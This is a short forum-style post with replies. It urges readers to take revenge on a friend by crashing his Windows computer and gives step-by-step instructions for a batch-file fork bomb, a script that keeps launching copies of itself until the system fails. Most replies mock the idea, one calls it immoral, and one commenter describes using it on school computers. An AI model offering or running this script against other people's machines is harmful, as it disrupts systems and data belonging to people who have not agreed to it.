Did your friend put a virus on your computer causing it to crash? Do you feel like getting back at him by crashing his computer? Here's the number one solution to your stress! Best of all: you don't need hacks! Sadly, this doesn't work on Macintosh. :(
Here is what to do:
1. Open Notepad.
2. Type the following:
@echo off
:START
start a.bat
goto START
3. Save your file as a.bat.
4. Click on the file and watch the fun!

I don't have Notepad on this computer so I tried it in gedit and Noteleaf with no such "fun".

Looks like someone just "learned" shell scripting.

I was thinking he found it on some twelve-year-old script kiddie's 1337-h4x0r Tripod page.

You'll be hearing from my lawyers shortly.

I remember doing this to several school computers in protest of them blocking ~~certain~~ websites.

I personally find this topic pointless and immoral.
